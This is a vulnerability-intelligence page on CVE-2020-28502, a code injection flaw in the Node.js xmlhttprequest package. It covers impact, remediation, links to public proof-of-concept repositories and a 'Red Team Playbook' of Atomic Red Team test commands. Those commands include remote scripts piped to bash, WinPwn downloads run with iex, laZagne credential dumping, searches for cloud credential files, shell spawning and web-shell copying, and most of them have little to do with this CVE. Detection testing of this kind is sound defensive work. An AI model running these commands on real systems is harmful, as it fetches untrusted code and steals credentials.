CVE-2020-28502
Overview
This vulnerability is a code injection flaw rooted in improper handling of synchronous XMLHttpRequest (XHR) operations within the xmlhttprequest package. Specifically, when requests are sent synchronously (async=false), untrusted user input passed to the xhr.send method is not properly sanitized, enabling injection of arbitrary code. The affected component is the xmlhttprequest module used in Node.js environments for HTTP communication.
Vulnerability Description
This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.
Impact
An unauthenticated attacker capable of supplying input to the vulnerable xmlhttprequest module can execute arbitrary code remotely within the Node.js environment. This requires the application to perform synchronous XHR requests with attacker-controlled inputs. Successful exploitation can lead to full compromise of the host process, including data exfiltration, service disruption, or lateral movement. The CVSS vector indicates network attack vector (AV:N), high complexity (AC:H), no privileges or user interaction required (PR:N/UI:N), and high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade the xmlhttprequest package to version 1.7.0 or later and avoid using the xmlhttprequest-ssl package, which is affected in all versions. Detailed remediation instructions and patch availability are documented in Snyk advisories SNYK-JS-XMLHTTPREQUEST-1082935 and SNYK-JS-XMLHTTPREQUESTSSL-1082936. These advisories provide version-specific guidance and mitigation steps to eliminate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the xmlhttprequest package prior to version 1.7.0, as well as in all versions of xmlhttprequest-ssl, is primarily rooted in its handling of synchronous requests. When the `async` parameter is set to `False` in the `xhr.open` method, the request is executed synchronously, which can lead to a scenario where malicious user input is sent through the `xhr.send` method. This allows an attacker to inject arbitrary code into the application, potentially leading to severe consequences, including unauthorized access to sensitive data or the execution of malicious scripts within the context of the application.
Attack vectors exploiting this vulnerability can vary widely, but they typically involve scenarios where user input is not properly sanitized. For instance, an attacker could craft a request that includes malicious JavaScript code, which would then be executed by the application when the synchronous request is processed. This could occur in web applications that rely on the xmlhttprequest package for making HTTP requests, particularly those that do not implement robust input validation. Additionally, if the application is running in a browser context, the injected code could execute with the same privileges as the user, leading to potential data theft, session hijacking, or further exploitation of the underlying system.
The real-world impact of this vulnerability can be significant, particularly for businesses that rely on web applications for their operations. The ability for an attacker to execute arbitrary code can lead to data breaches, loss of customer trust, and potential financial repercussions. Organizations that handle sensitive information, such as personal data or payment details, are particularly at risk. Moreover, the presence of this vulnerability could result in compliance issues with data protection regulations, leading to fines and legal challenges. The reputational damage from a successful exploitation could also have long-lasting effects on a business's standing in the market.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, it is crucial to update the xmlhttprequest package to the latest version, which addresses this vulnerability. Regularly auditing and updating dependencies is a best practice that can help prevent similar issues in the future. Additionally, implementing strict input validation and sanitization measures can significantly reduce the risk of malicious input being processed by the application. Employing security tools such as web application firewalls (WAFs) can also provide an additional layer of protection by monitoring and filtering out potentially harmful requests. Finally, conducting regular security assessments and penetration testing can help identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the vulnerability in the xmlhttprequest package poses a serious threat to web applications that utilize synchronous requests. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive steps to mitigate risks and protect their systems. Through diligent monitoring, timely updates, and robust security practices, businesses can safeguard against the exploitation of this and similar vulnerabilities, ensuring the integrity and security of their applications and the data they handle.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Xmlhttprequest Project | Xmlhttprequest | All |
cpe:2.3:a:xmlhttprequest_project:xmlhttprequest:*:*:*:*:*:node.js:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
s-index/CVE-2020-28502
CVE-2020-28502 node-XMLHttpRequest RCE
|
s-index | 3 | 2 | 2021-05-12 | View |
|
dpredrag/CVE-2020-28502
|
dpredrag | 0 | 0 | 2021-07-28 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-28502 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUEST-1082935 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUESTSSL-1082936 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1082937 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1082938 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/driverdan/node-XMLHttpRequest/blob/1.6.0/lib/XMLHttpRequest.js%23L480 |